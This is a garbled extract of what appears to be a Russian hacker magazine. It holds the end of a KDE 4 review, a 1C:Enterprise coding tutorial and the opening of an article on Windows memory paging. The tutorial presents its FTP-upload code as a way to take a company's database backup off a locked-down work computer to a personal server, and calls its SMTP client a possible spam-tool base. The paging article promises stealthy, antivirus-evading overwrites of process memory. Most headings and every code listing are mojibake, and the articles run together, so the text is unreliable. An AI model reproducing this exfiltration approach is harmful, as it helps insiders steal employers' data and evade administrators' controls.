в себя Qt4-тему, новые рамки окон, тему Plasma, новые 
иконки, курсоры и т.д. Имя Oxygen (кислород) указывает на 
то, что разработчики хотели «вдохнуть свежего воздуха в 
рабочий стол KDE 4».

ВЫВОДЫ
Как ты смог убедиться, KDE 4 вовсе не провал, а очень 
серьезный рывок вперед. Многие его компоненты на-
столько инновационны и занимательны, что им можно 
посвятить не одну отдельную статью. При этом сама 
среда постоянно совершенствуется и улучшается, и 
можно предположить, что к выходу KDE 4.8 она станет 
не менее стабильной и богатой на функционал, чем 
KDE 4.3.   z

 097

• Сами разработчики 
KDE, не лукавя, назы-
вают похожий на орех 
значок в углу экрана 
не иначе как кешью. 
Кстати, в KDE 4.5 его 
не будет.

• Официально 
фрейм ворк Phonon 
был представлен как 
часть KDE 4.0 в янва-
ре 2008-го. В этом же 
году он был включен в 
релиз Qt 4.4.

info

INFO

Включаем nepomuk
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Plasma для нетбуков: меню запуска 
приложений

Plasma для нетбуков: газетный вид
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ÏËÀÒÔÎÐÌÀ 1Ñ:ÏÐÅÄÏÐÈßÒÈÅ ÑÅÃÎÄÍß ÓÑÒÀÍÎÂËÅÍÀ Â ÊÀÆÄÎÉ ÂÒÎ-
ÐÎÉ ÎÐÃÀÍÈÇÀÖÈÈ. ÀÄÌÈÍÛ ÂËÞÁÈËÈÑÜ Â ÝÒÓ ÑÈÑÒÅÌÓ ÇÀ ÏÐÎÑÒÎÒÓ 
ÀÄÌÈÍÈÑÒÐÈÐÎÂÀÍÈß È ËÅÃÊÎÑÒÜ ÐÀÇÂÅÐÒÛÂÀÍÈß. ÏÐÎÃÐÀÌÌÈÑÒÛ 
ÁÀËÄÅÞÒ ÎÒ ÂÎÇÌÎÆÍÎÑÒÈ ÄÎÐÀÁÎÒÊÈ/ÐÀÇÐÀÁÎÒÊÈ ÊÎÍÔÈÃÓÐÀÖÈÉ 
ÏÎÄ ÊÎÍÊÐÅÒÍÛÅ ÍÓÆÄÛ. ÏÎËÜÇÎÂÀÒÅËÈ Â ÂÎÑÒÎÐÃÅ ÎÒ ÏÐÎÄÓÌÀÍ-
ÍÎÃÎ È ÑÒÀÍÄÀÐÒÈÇÈÐÎÂÀÍÍÎÃÎ (ÑÐÅÄÈ ÏÐÎÄÓÊÒÎÂ 1Ñ) ÈÍÒÅÐÔÅÉÑÀ. 
À ×ÒÎ ÏÐÅÄÑÒÀÂËßÅÒ ÝÒÀ ÏËÀÒÔÎÐÌÀ ÄËß X-ÑÎÂÌÅÑÒÈÌÎÃÎ ×ÅËÀ?
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ÊÎÄÈÌ ÍÀ 1Ñ: 
ÏÐÅÄÏÐÈßÒÈÅ 
ÏÎ-ÕÀÊÅÐÑÊÈ
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1Ñ’ÎÊ ÌÍÎÃÎ ÂÑßÊÈÕ ÅÑÒÜ
Я не знаю, имел ли ты опыт работы с платформами 1С:Предприятие, 
но, чтобы мы говорили с тобой на одном языке, рассмотрим вкратце 
основные понятия. Итак, для начала стоит усвоить, что все плат-
формы 1С:Предприятие условно можно разделить на две большие 
группы: 7.7, 8.x. Как ты мог догадаться, название групп характеризует 
номер версии.
Версия 7.7 на сегодняшней день считается самой старой из под-
держиваемых. Несмотря на старость и отстойность, платформа этой 
версии не теряет свою популярность и до сих пор многие предприя-
тия юзают именно ее. Причин тому много. Одна из главных — труд-
ность миграции на новые версии. Все особенно усложняется, если 
в компании используется не типовая конфигурация, а самописное 
решение. В таких случаях без отряда программистов не обойтись. Ну 
да ладно, нас эта проблема мало волнует, нам интересна обратная 
сторона медали.
В платформе 1С:Предприятие есть встроенный язык, посред-
ством которого и выполняется доработка/разработка конфи-
гурации (то есть программного решения). Так вот, в версии 
7.7 этот язык убог и сотворить на нем что-то действительно 
хакерское практически нереально. Заметь, я сказал «практи-
чески». В реале же лазейка есть — использовать различные 
внешние компоненты. Внешняя компонента — это специально 
разработанная динамическая библиотека, которая может быть 
подгружена в адресное пространство платформы, после чего 
ее функции можно вызывать на встроенном языке. Разработка 
компонент — процесс не шибко сложный, он подробно описан 
в многочисленных мануалах, которых в инете пруд пруди. В 
качестве среды разработки таких компонент можно заюзать 
либо Delphi, либо тот же Visual C++. Рассматривать написание 
компоненты в рамках этой статьи мы не будем. Почему? Увы, 
данный способ слишком тяжел в эксплуатации с практической 
точки зрения. Если в системе твои права обрезаны по самые «не 
хочу», то подсунуть левую DLL вряд ли удастся. К тому же, если в 
своей библиотеке ты заюзаешь «полезные» WinAPI-функции, то 
даю 99% вероятности, что проактивная защита установленного 
антивируса будет вопить, как потерпевшая.
С линейкой платформ версий 8х все совсем иначе. Они обладают 
богатыми возможностями, а встроенный язык годится не толь-
ко для манипулирования данными и построения отчетов. Но не 
стоит раньше времени облизываться и думать, что на платформе 
1С:Предприятие 8х можно написать абсолютно любую программу и 
уж тем более вызывать полезные WinAPI-функции. Увы, пока этого 
сделать нельзя. «Что же тогда в нем хорошего?», — спросишь ты. А 
я отвечу: большая коллекция готовых к работе объектов. В том чис-
ле и «классы» для работы с такими вещами, как: FTP, HTTP, XML, 
SMTP, POP3 и т. д. Представляешь, что с их помощью возможно 
написать?

ÇÀ×ÅÌ ÞÇÀÒÜ ÈÌÅÍÍÎ 1Ñ:ÏÐÅÄÏÐÈßÒÈÅ
Я понимаю тебя, мой друг. Тебе ничего не стоит взять и написать 
вирус, троян, сканер портов и другие полезные в хакерском деле 
программы на любом «нормальном» языке программирования. За-
чем же заморачиваться с каким-то 1С? Отчасти это так, но рано или 
поздно может возникнуть ситуация, когда кроме 1С:Предприятия, 
заюзать ничего будет нельзя. Вот тебе типичный пример. Ты устро-
ился на работу админом БД и доблестные системщики урезали твои 
права по максимуму: ни тебе полноценного инета, ни возможности 
запуска «не доверенных» приложений и т.д. Зато в отношении баз 
и платформы 1С:Предприятие — никаких ограничений. Выполнять 
бэкапы и по возможности пересылать их на удаленные сервера, 
управлять списком пользователей — типичные задачи администра-
тора баз данных. А вот теперь представь, что большинство недо-
стающих и привычных в жизни вещей ты сможешь закодить прямо 
на встроенном в 1С:Предприятие языке! Ничто не помешает тебе 

заграбастать бэкап ценной базы данных и благополучно залить его 
на какой-нибудь сервак в инете.

Ñ ×ÅÃÎ ÍÀ×ÈÍÀÅÒÑß ÊÎÄÈÍÃ ÏÎÄ 1Ñ
Встроенный язык 1С:Предприятия внешне очень сильно отличается 
от привычных нам С#, Python, Delphi и т. д. Главное отличие в том, что 
приходится использовать русский синтаксис. Проблема на первый 
взгляд не сильно большая, но по первости мозг рвет капитально. 
К счастью, это недоразумение победить возможно. Разработчики 
платформы 1С:Предприятие не зря получают свои деньги — они про-
думали все наперед и снабдили свое детище английским вариантом 
синтаксиса. Ты можешь юзать любой понравившийся вариант. Мне 
привычнее писать «по-русски», поэтому все листинги в статье будут 
приведены на великом и могучем. Если тебе по душе традиционный 
английский вариант — то милости прошу к встроенной документации. 
В ней описаны все функции/операторы: как в английской, так и в 
русской версиях.

ÎÑÍÎÂÛ ÑÈÍÒÀÊÑÈÑÀ
Если мне не изменяет память, в нашем журнале еще ни разу не 
рассматривали кодинг под 1С:Предприятие, поэтому перед тем, как 
перейти к рассмотрению вопросов разработки реальных приложе-
ний, нужно обязательно познакомиться с базовым синтаксисом. 

ÐÅÃÈÑÒÐ
Встроенный язык в 1С:Предприятие не чувствителен к регистру. Ты 
можешь писать название операторов/переменных прописными или 
строчными буквами — все будет работать одинаково хорошо.

ÏÅÐÅÌÅÍÍÛÅ
Как и во многих языках программирования, переменные ты можешь 
объявлять по ходу пьесы. Никаких областей типа дельфийского var 
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НАИПРОСТЕЙШИЙ FTP-КЛИЕНТ

SMTP-КЛИЕНТ ИЛИ ФУНДАМЕНТ СПАМ-ТУЛЗЫ?



нет (если не считать ключевого слова «Перем» для объявления 
глобальных переменных). С типами переменных ситуация анало-
гичная. Указывать для переменной конкретный тип в момент ее 
определения не требуется. Он выбирается на основе содержимого 
переменной. Пример:

ÑòðîêîâàÿÏåðåìåííàÿ = "Hello, world!";

  //Ýòî ñòðîêîâàÿ ïåðåìåííàÿ

×èñëîâàÿÏåðåìåííàÿ = 0; 

 //À âîò ýòî ÷èñëîâàÿ ïåðåìåííàÿ

Ìàññèâ = Íîâûé Ìàññèâ(); //Íó à ýòî ìàññèâ

ÏÐÎÖÅÄÓÐÛ, ÔÓÍÊÖÈÈ
В 1С:Предприятии принято делить весь код на процедуры и функ-
ции. Определяются они стандартным образом:

//Ïðîöåäóðà áåç ïàðàìåòðîâ

Ïðîöåäóðà ÏðèìåðÏðîöåäóðû()

ÊîíåöÏðîöåäóðû

//Ïðîöåäóðà ñ ïàðàìåòðàìè

Ïðîöåäóðà ÏðèìåðÏðîöåäóðû(Ïàðàìåòð1, Ïàðàìåòð2)

ÊîíåöÏðîöåäóðû

//Ïðèìåð ôóíêöèè

Ôóíêöèÿ Ïîëó÷èòüÄèðåêòîðèþ(Ïàðàìåòð1, Ïàðàìåòð2)

 Âîçâðàò Ïàðàìåòð1 + Ïàðàìåòð2; 

ÊîíåöÔóíêöèè

ÖÈÊËÛ
Во встроенном языке реализовано несколько видов циклов. По син-
таксису они не особо отличаются от оформления аналогичных циклов 
в других языках программирования. Взгляни на примеры:

//Öèêë «Ïîêà». Àíàëîãè÷åí öèêëó while..do 

// â äðóãèõ ÿçûêàõ

//Ïðèìåð âûâåäåò öèôðû îò 1 äî 9 â îêíî 

//ñëóæåáíûõ ñîîáùåíèé

Ñ÷åò÷èê = 1;

 Ïîêà Ñ÷åò÷èê <> 10 Öèêë

  Ñîîáùèòü(Ñ÷åò÷èê);

  Ñ÷åò÷èê = Ñ÷åò÷èê +1;

 ÊîíåöÖèêëà;

 //Öèêë «Äëÿ». Àíàëîãè÷åí öèêëó 

   //for..to..do â äðóãèõ ÿçûêàõ

 //Ïðèìåð âûâåäåò öèôðû îò 1 äî 10 â îêíî 

   //ñëóæåáíûõ ñîîáùåíèé

 Äëÿ Ñ÷åò÷èê = 1 Ïî 10 Öèêë

  Ñîîáùèòü(Ñ÷åò÷èê);

 ÊîíåöÖèêëà;

 //Öèêë «Äëÿ Êàæäîãî». Àíàëîãè÷åí öèêëó 

   //foreach â äðóãèõ ÿçûêàõ

 //Ïðèìåð äåìîíñòðèðóåò ïåðåáîð ìàññèâà

 Ìàññèâ = Íîâûé Ìàññèâ(2);

 Ìàññèâ[0] = 1;

 Ìàññèâ[1] = 2;

 

 Äëÿ Êàæäîãî Çàïèñü Èç Ìàññèâ Öèêë

  Ñîîáùèòü(Çàïèñü);

 ÊîíåöÖèêëà;

CODING
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КОДИНГ В НЕПРИВЫЧНОЙ СРЕДЕ В САМОМ РАЗГАРЕ

С 1С:ПРЕДПРИТИЕ ПОСТАВЛЯЕТСЯ ОТЛИЧНАЯ 
СПРАВКА
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ÓÑËÎÂÈß
Без условных операторов далеко не уедешь, внимательно посмотри 
на то, как они описываются в 1С:Предприятии:

//Ïðèìåð èñïîëüçîâàíèÿ êîíñòðóêöèè 

//"Åñëè..Òîãäà..Èíà÷å|Èíà÷åÅñëè.

//Êîíñòðóêöèÿ àíàëîãè÷íà "IF..THEN..ELSE" â 

//äðóãèõ ÿçûêàõ.

Çíà÷åíèå = 5;

 

Åñëè (Çíà÷åíèå = 1) Òîãäà

 Ñîîáùèòü("Ïåðâîå óñëîâèå");

Èíà÷åÅñëè (Çíà÷åíèå = 2) Òîãäà

 Ñîîáùèòü("Âòîðîå óñëîâèå");

Èíà÷å

 Ñîîáùèòü("Òðåòüå óñëîâèå");

ÊîíåöÅñëè;

ÊËÀÑÑÛ
А нет их в 1С:Предприятии :). Если ты привык к использованию ООП-
стиля, то знай, что сейчас с этим напряг. Во встроенном языке пока 
отсутствует поддержка определения своих собственных классов. 
Приходится довольствоваться процедурным подходом.

FTP-ÊËÈÅÍÒ
FTP-клиент — софтина очень полезная. Довольствуешься огра-
ниченным доступом к инету, а из приложений лишь MS Office, да 
оснастки для работы с СУБД? Что же делать, если требуется вывести 
с рабочего компа полезные файлы (например, бэкапчик корпора-
тивной базы)? Как вариант, можно залить все файлы на свой личный 
FTP-сервер. Во многих организациях админы серьезно ограничи-
вают доступ к WWW, а такие протоколы, как FTP, POP3, SMTP, остаются 
полностью открытыми. На этом и попробуем сыграть. Дело за малым — 
написать FTP-клиент. Да не просто написать, а закодить на языке, 
совершенно не предназначенном для этой цели.

SMTP-КЛИЕНТ В ДЕЙСТВИИ



Итак, запускай 1С:Предприятие в режиме «Конфигуратор» и 
создавай новую обработку. 
Я не буду тебе расписывать, как работать с самой IDE, это 
выходит за рамки статьи. Всю необходимую инфу ты сможешь 
посмотреть в хелпе. Лучше сразу к коду.
В 1С:Предприятии для работы с протоколом FTP есть встроенный и 
полностью готовый к работе класс: FTPСоединение. Класс достаточ-
но хорош и в нем реализованы все необходимые свойства и методы. 
Тут тебе и поддержка работы через PROXY-сервер, и закачка/пере-
дача файлов и т. д. Не буду ходить вокруг да около, а перейду к рас-
смотрению рабочего примера. Вот код, отвечающий за соединение и 
отправку произвольного файла: 

FTP-КЛИЕНТ СРЕДСТВАМИ 1С:ПРЕДПРИЯТИЯ

ÈìÿÏîëüçîâàòåëÿ = "Ëîãèí";

Ïàðîëü = "";

Ñåðâåð = "Èìÿ ñåðâåðà";

ÊàòàëîãÄëÿÇàïèñè = " ïàïêà äëÿ çàïèñè";

Ïîïûòêà

FTPÑîåäèíåíèå = Íîâûé FTPÑîåäèíåíèå(Ñåðâåð,

, ÈìÿÏîëüçîâàòåëÿ, Ïàðîëü);

 FTPÑîåäèíåíèå.ÓñòàíîâèòüÒåêóùèéÊàòàëîã(

ÊàòàëîãÄëÿÇàïèñè);

Èñêëþ÷åíèå

 Ñîîáùèòü("Ïðè ïîïûòêå ñîåäèíåíèÿ ñ FTP

  | ñåðâåðîì âîçíèêëà îøèáêà!", 

ÑòàòóñÑîîáùåíèÿ.Âàæíîå);

 Ñîîáùèòü(ÎïèñàíèåÎøèáêè());

 Âîçâðàò;

ÊîíåöÏîïûòêè;

Ïîïûòêà

 FTPÑîåäèíåíèå.Çàïèñàòü(

ÝëåìåíòûÔîðìû.ïâÏóòüÊÔàéëó.Çíà÷åíèå,

  ÝëåìåíòûÔîðìû.ÏîëåÂâîäà1.Çíà÷åíèå);

Èñêëþ÷åíèå

 Ñîîáùèòü("Âî âðåìÿ ïåðåäà÷è ôàéëà âîçíèêëà îøèá-

êà!", 

ÑòàòóñÑîîáùåíèÿ.Âàæíîå);

 

Ñîîáùèòü(ÎïèñàíèåÎøèáêè());

ÊîíåöÏîïûòêè;  

Установка соединения по FTP начинается с инициализации класса 
«FTPСоединение». В качестве параметров конструктору необходимо 
передать следующие параметры:
• Сервер — адрес FTP-сервера (обязательный)
• Порт — номер порта FTP-сервера (необязательный)
• ИмяПользователя — пользователь на FTP-сервере
• Пароль
• Прокси — объект, содержащий настройки PROXY-сервера (необяза-
тельный)
• ПассивноеСоединение — Тип соединения (необязательный)
Если инициализация пройдет успешно, то FTP-соединение будет уста-
новлено. Ну а после его установки ты можешь воспользоваться одним 
из методов класса. Например, в своем примере я вызвал Установить-
ТекущийКаталог(). Для демонстрации работоспособности примера я 
заюзал метод Записать(). Он выполняет передачу локального файла 
на FTP-сервер. Обрати внимание, вызов каждого метода я взял в блок 
«Попытка..исключение..КонецПопытки». Если ты знаком с понятием 
«Исключительные ситуации», то должен понять, для чего эта конструк-
ция предназначена.

ÎÒÏÐÀÂËßÅÌ ÏÎ×ÒÓ
FTP-клиент средствами 1С:Предприятие — это супер, но им одним сыт 
не будешь. Что ни говори, а обойтись без электронной почты крайне 
трудно. Что ж, если возможности юзать полноценный клиент у тебя нет, а 
из имеющего софта — лишь 1С:Предприятие, то считай, что тебе крупно 
повезло. Закодить на встроенном языке обработку для отправки/приема 
почты — проще пареной репы. Сейчас ты в этом убедишься (см. врезку 
«Почтовый клиент»).
Для отправки и приема почтовых сообщений в платформе 
1С:Предприятие существует несколько готовых классов — ИнтернетПоч-
товоеСообщение, ИнтернетПочтовыйПрофиль, ИнтернетПочта. Первый 
— это, по сути, «обертка» электронного письма. В нем реализованы все 
необходимые поля для электронного письма: необходимость получения 
отчета о доставке, список получателей, прикрепленные файлы и т.д. От 
разработчиков (то есть, нас с тобой), требуется лишь правильно их запол-
нить. Именно это я описал в первой части кода — присвоил свойствам 
класса значения из полей ввода, расположенных на форме обработки.
Сформировав письмо, нам остается лишь прилепить на него почтовую 
марку и отправить по месту назначения. Для выполнения этого действия 
я использую второй класс — ИнтернетПочтовыйПрофиль. Если ты вни-
мательно ознакомился со вторым листингом, то должен был уже дога-
даться, что этот класс — не что иное, как обертка для хранения настроек 
соединения с почтовыми серверами. В исходнике на врезке я привел 
вариант заполнения свойств для соединения с smtp-сервером своего 
почтового провайдера (через которого будет выполняться отправка). 
Класс ИнтернетПочтовыйПрофиль лишь хранит настройки для под-
ключения. Ничего отправлять/получать он не может. За саму передачу 
отвечает третий класс — «Инте
рнетПочта». Во время инициализации ему необходимо передать 
экземпляр класса «ИнтернетПочтовыйПрофиль». После этого можно 
выполнять подключение и отправку. Тут тебе помогут методы «Подклю-
читься» и «Послать». Кстати, не забывай заключать их в эксепшины, 
иначе замучаешься ловить вылеты.

ÊÓÐÈÌ ÒÐÓÁÊÓ, ×ÈÒÀÅÌ ÍÎÂÎÑÒÈ
Я очень люблю читать RSS-ленты различных блоггеров. То и дело в 
них появляются интересные топики. Обычно для таких целей я юзаю 
Google Reader, но на старой работе приходилось пользоваться тулзой 
собственного изготовления. Ну а поскольку моя прошлая работа была 
связана с программированием под платформу 1С:Предприятие, то эту 
самую тулзу мне пришлось сваять на своем «рабочем» языке.
Сама RSS-лента — это XML-файл. Соответственно, работать с ним нуж-
но, как с любой XML — парсить. В одном из номеров нашего журнала, я 
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 Другие полезные примеры

http://infostart.ru/public/20144 — ICQ-клиент, выполненный в 
виде внешней компоненты. Внутренности контрола состоят из C# 
кода и известной в .NET-кругах либы — IcqSharp 0.4.0.0. Хочешь 
чатиться в аське прямо из 1С? Тогда этот пример специально для 
тебя!

http://infostart.ru/public/14457 — смесь тети Аси и дяди 
Джаббера. Еще один внешний контрол и пример использования, 
при помощи которого ты сможешь закодить клиентские части для 
популярных протоколов передачи сообщений.

http://infostart.ru/public/20223 — здесь тусуется пример 
реализации «продвинутого» медиаплеера для платформы 
1С:Предприятие 8.x. Умеет воспроизводить как видео, так и 
аудио-файлы. 

http://infostart.ru/public/16332 — это не просто обработка, а 
настоящая кладезь примеров. Тут тебе и файловый менеджер, и 
FTP-клиент, и встроенный браузер, и диспетчер задач, и менед-
жер программ, и куча всякой полезной всячины. Заюзал такую 
обработку в 1С:Предприятии и забыл про многочисленные тулзы. 
Разве это не здорово? 
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приводил пример RSS-граббера. Тогда мой пример был на Delphi. Для 
разбора XML я использовал COM-объект Microsoft.XMLHTTP. Ты не 
поверишь, но в 1С:Предприятии мы можем воспользоваться этим же 
объектом. Взгляни на врезку «RSS-агрегатор» и убедись сам. 

OUTRO
При особом желании и настойчивости нужные тулзы реально зако-
дить даже на таком, казалось бы, не предназначенном для подобных 
целей языке, как встроенный язык платформы 1С:Предприятие. 
Главное, не поленись потратить немного времени и попробуй подой-
ти к решению проблемы творчески. Вполне возможно, что пришед-

шее на ум спонтанное решение будет намного лучше, чем то, которое 
прорабатывалось долгое время. Экспериментируй и все будет ОК!  z

 RSS-агрегатор

ÍàçâàíèåÊàíàëà = RSSËåíòà.selectSingleNode(

    "//channel/description").Text;

Ýëåìåíòû = RSSËåíòà.selectNodes("//item");

 

Äëÿ ñ÷ = 0 ïî Ýëåìåíòû.length-1 Öèêë

Ñ÷èòÀòðèá = Ýëåìåíòû.item(ñ÷).childNodes;

  

    ÑòðóêòóðàÀòðèáóòîâ = Íîâûé Ñòðóêòóðà();

    Äëÿ ñ÷2 = 0 ïî Ñ÷èòÀòðèá.length-1 öèêë

    ÑòðóêòóðàÀòðèáóòîâ.Âñòàâèòü

    (Ñ÷èòÀòðèá.item(ñ÷2).nodeName,

    Ñ÷èòÀòðèá.item(ñ÷2).text); 

    ÊîíåöÖèêëà;

  

    ÇàãîëîâîêÍîâîñòè = "Çàãîëîâîê: ";

  

    Åñëè (ÑòðóêòóðàÀòðèáóòîâ.Ñâîéñòâî("title")) Òîãäà

        ÇàãîëîâîêÍîâîñòè = ÇàãîëîâîêÍîâîñòè +

            ÑòðóêòóðàÀòðèáóòîâ.title;

    ÊîíåöÅñëè;

  

    ÄàòàÏóáëèêàöèè = "Äàòà ïóáëèêàöèè: ";

  

    Åñëè (ÑòðóêòóðàÀòðèáóòîâ.Ñâîéñòâî("pubDate")) Òîãäà

        ÄàòàÏóáëèêàöèè = ÄàòàÏóáëèêàöèè + 

            ÄàòàRFC822(ÑòðóêòóðàÀòðèáóòîâ.pubDate);

    ÊîíåöÅñëè;

  

    Ëèíê = "Àäðåñ ïóáëèêàöèè: ";

  

    Åñëè (ÑòðóêòóðàÀòðèáóòîâ.Ñâîéñòâî(«link»)) Òîãäà

        Ëèíê = Ëèíê + ÑòðóêòóðàÀòðèáóòîâ.link;

    ÊîíåöÅñëè;

    

    ÒåêñòÍîâîñòè = "Òåêñò íîâîñòè: ";

  

    Åñëè (ÑòðóêòóðàÀòðèáóòîâ.Ñâîéñòâî("description")) 

Òîãäà

        ÒåêñòÍîâîñòè = ÒåêñòÍîâîñòè + 

        ÑòðóêòóðàÀòðèáóòîâ.description;

    ÊîíåöÅñëè;

  

    Ñîîáùèòü("--------------------------");

    Ñîîáùèòü(ÇàãîëîâîêÍîâîñòè);

    Ñîîáùèòü(ÄàòàÏóáëèêàöèè);

    Ñîîáùèòü(Ëèíê);

    Ñîîáùèòü(ÒåêñòÍîâîñòè);

    Ñîîáùèòü("--------------------------");

ÊîíåöÖèêëà;

 Почтовый клиент

Ïèñüìåöî = Íîâûé ÈíòåðíåòÏî÷òîâîåÑîîáùåíèå;

Ïèñüìåöî.Òåìà = 

     ÝëåìåíòûÔîðìû.ïâÒåìàÏèñüìà.Çíà÷åíèå;

Ïèñüìåöî.ÈìÿÎòïðàâèòåëÿ =

     ÝëåìåíòûÔîðìû.ïâÈìÿÎòïðàâèòåëÿ.Çíà÷åíèå;

Ïèñüìåöî.Îòïðàâèòåëü.Àäðåñ =

     ÝëåìåíòûÔîðìû.ïâÀäðåñÎòïðàâèòåëÿ.Çíà÷åíèå; 

 

Ïîëó÷àòåëü = Ïèñüìåöî.Ïîëó÷àòåëè.Äîáàâèòü();

Ïîëó÷àòåëü.Àäðåñ = 

     ÝëåìåíòûÔîðìû.ïâÀäðåñÏîëó÷àòåëÿ.Çíà÷åíèå;

 

ÒåêñòÏèñüìà = Ïèñüìåöî.Òåêñòû.Äîáàâèòü();

ÒåêñòÏèñüìà.ÒèïÒåêñòà = 

ÒèïÒåêñòàÏî÷òîâîãîÑîîáùåíèÿ.ÏðîñòîéÒåêñò;

ÒåêñòÏèñüìà.Òåêñò = ïâÒåêñòÑîîáùåíèÿ;

 

Åñëè (Çíà÷åíèåÇàïîëíåíî

(ÝëåìåíòûÔîðìû.ïâÀòòà÷.Çíà÷åíèå)) Òîãäà

 Ïèñüìåöî.Âëîæåíèÿ.Äîáàâèòü(

               ÝëåìåíòûÔîðìû.ïâÀòòà÷.Çíà÷åíèå);

ÊîíåöÅñëè;

 

//Íàñòðàèâàåì ïàðàìåòðû îòïðàâêè

ÏðîôàéëÍàñòðîåê = Íîâûé ÈíòåðíåòÏî÷òîâûéÏðîôèëü;

ÏðîôàéëÍàñòðîåê.ÀäðåñÑåðâåðàSMTP = 

     ÝëåìåíòûÔîðìû.ïâÏî÷òîâûéÑåðâåð.Çíà÷åíèå;

ÏðîôàéëÍàñòðîåê.ÏîðòSMTP = 

     ÝëåìåíòûÔîðìû.ïâÏîðòÏî÷òîâîãîÑåðâåðà.Çíà÷åíèå;

ÏðîôàéëÍàñòðîåê.ÀóòåíòèôèêàöèÿSMTP =

     ÑïîñîáSMTPÀóòåíòèôèêàöèè.ÏîÓìîë÷àíèþ;

ÏðîôàéëÍàñòðîåê.ÏîëüçîâàòåëüSMTP = 

     ÝëåìåíòûÔîðìû.ïâÀäðåñÎòïðàâèòåëÿ.Çíà÷åíèå;

 

Ïî÷òîâèê = Íîâûé ÈíòåðíåòÏî÷òà;

 

Ïîïûòêà

     Ïî÷òîâèê.Ïîäêëþ÷èòüñÿ(ÏðîôàéëÍàñòðîåê);

Èñêëþ÷åíèå

     Ñîîáùèòü("Âî âðåìÿ îòïðàâêè âîçíèêëà îøèáêà! 

          Òåêñò îøèáêà: " + ÎïèñàíèåÎøèáêè(), 

          ÑòàòóñÑîîáùåíèÿ.Î÷åíüÂàæíîå);

     Âîçâðàò;

ÊîíåöÏîïûòêè;

 

//Ïðîáóåì îòîñëàòü

Ïîïûòêà

     Ïî÷òîâèê.Ïîñëàòü(Ïèñüìåöî);

     Ñîîáùèòü("Âàøå ñîîáùåíèå áûëî óñïåøíî îòïðàâëåíî!",  

          ÑòàòóñÑîîáùåíèÿ.Î÷åíüÂàæíîå);

Èñêëþ÷åíèå

     Ñîîáùèòü("Ñîîáùåíèå íå áûëî îòïðàâëåíî!" +

          ÎïèñàíèåÎøèáêè(),

          ÑòàòóñÑîîáùåíèÿ.Î÷åíüÂàæíîå);

ÊîíåöÏîïûòêè;

 

Ïî÷òîâèê.Îòêëþ÷èòüñÿ();
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Сегодня мы поговорим об основном способе 
организации виртуальной памяти — странич-
ном, при котором единицей отображения 
виртуальных адресов на физические является 
регион постоянного размера (так называемая 
страница). Поддержка такого режима при-
сутствует в большинстве современных про-
цессоров, и он стал классическим для почти 
всех современных ОС, в том числе Windows. 
В статье мы попытаемся рассмотреть, как этот 
«классический» аргумент можно использовать 
в своих грязных целях.

ÂÂÅÄÅÍÈÅ, ÈËÈ Î ×ÅÌ ÝÒÎ ÌÛ?
В большинстве современных операционных 
систем, в том числе, в семействе ОС Windows, вир-
туальная память организуется с помощью странич-
ной адресации. Если говорить коротко и понятно, 
то данные в памяти в Windows существуют: 
1) в виртуальном виде размером в 4 гигабайта 
и 2) в проекции этих самых данных в памяти 
физической и, наконец, в виде так называе-
мых страниц.

Что такое страницы? Это области памяти 
фиксированной длины (как правило, или 
4 Кб, или 4 Мб), которые являются мини-
мальной единицей выделяемой памяти (то 
есть, даже запрос на 1 байт от приложе-
ния приведет к выделению ему страницы 
памяти). Процесс обращается к памяти 
с помощью адреса виртуальной памяти, 
который содержит в себе номер страницы и 
смещение внутри страницы. Операционная 
система преобразует виртуальный адрес в 
физический, при необходимости подгружая 
страницу с жесткого диска в оперативную 
память. При запросе на выделение памяти 
операционная система может сбросить на 
жесткий диск страницы, к которым давно не 
было обращений. Соответствующие единицы 
в физической памяти образуют страничные 
кадры (page frames), а система поддержки 
страничной виртуальной памяти называется 
пейджингом (paging). Передача информации 
между памятью и диском всегда осущест-
вляется целыми страницами. Главное, что 

надо уяснить — данные, представленные в 
виртуальной памяти, на самом деле находят-
ся в памяти физической (оперативной или 
сброшены на жесткий диск) и для доступа к 
ним процессор использует механизм стра-
ничной трансляции. Таким образом, опера-
ция записи в память какого-либо процесса в 
конечном итоге сведется к записи страниц, 
принадлежащих этому процессу и находя-
щихся в где-то в физической памяти. Если 
вдуматься, то получается, что данные нахо-
дятся как бы в дублированном состоянии 
(хотя это не так): непосредственно сами дан-
ные лежат в памяти физической, и они же 
представлены в памяти виртуальной. А раз 
основная организация виртуальной памяти 
есть страничная память, что нам помешает, 
не трогая виртуальных адресов, найти сами 
физические страницы, содержащие нужные 
нам данные и использовать (читай — «пере-
записать или подменить») их по своему 
усмотрению? Да ничего! Ни антивирусы, ни 
проактивки, ни файрволы нам не помеха! В 

Â ÎÑÍÎÂÅ ÔÓÍÊÖÈÎÍÈÐÎÂÀÍÈß ÑÎÂÐÅÌÅÍÍÛÕ ÎÏÅÐÀÖÈÎÍÍÛÕ 
ÑÈÑÒÅÌ ËÅÆÈÒ ÂÈÐÒÓÀËÜÍÀß ÏÀÌßÒÜ. ÈÌÅÍÍÎ ÎÍÀ ÏÎÇÂÎËßÅÒ 
ÀÄÐÅÑÎÂÀÒÜ Â 32-ÁÈÒÍÛÕ ÑÈÑÒÅÌÀÕ 4 ÃÈÃÀÁÀÉÒÀ ÂÈÐÒÓÀËÜÍÎÃÎ 
ÀÄÐÅÑÍÎÃÎ ÏÐÎÑÒÐÀÍÑÒÂÀ. À 64-ÁÈÒÍÀß ÀÄÐÅÑÀÖÈß, 
Â ÑÂÎÞ Î×ÅÐÅÄÜ, ÏÎÇÂÎËßÅÒ ÈÑÏÎËÜÇÎÂÀÒÜ ÏÐÀÊÒÈ×ÅÑÊÈ 
ÍÅÎÃÐÀÍÈ×ÅÍÍÎÅ ÊÎËÈ×ÅÑÒÂÎ ÂÈÐÒÓÀËÜÍÎÉ ÏÀÌßÒÈ.
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итоге мы получим стелс-технологию, которая может бес-
палевно подменять нужные нам данные в адресном про-
странстве процесса.

ÐÀÇÁÈÐÀÅÌ ÓÑÒÐÎÉÑÒÂÎ 
ÂÈÐÒÓÀËÜÍÎÉ ÏÀÌßÒÈ
Чтобы применять эту технику на практике, конечно же, 
нужно понять основы — правила организации и механизм 
работы виртуальной и страничной адресации. Не вдава-
ясь в подробности механизма страничной адресации (он 
довольно сложен для понимания), отмечу только, что в 
его основе используется двухуровневая табличная транс-
ляция линейного адреса в физический. Этот механизм 
имеет три части: каталог страниц (Page Directory, PDE), 
таблицы страниц (Page Table, PTE) и собственно страницы 
(Page Frame). Тем, кто хочет досконально разобраться в 
механизме страничной трансляции, могу порекомендовать 
мануалы INTEL’а по системному программированию; их 
ты можешь найти на сайте www.intel.com или на нашем 
диске.
Как же можно заполучить доступ к этим каталогам — PDE 
и PTE? Очень легко! Любителям лаконичности можно 
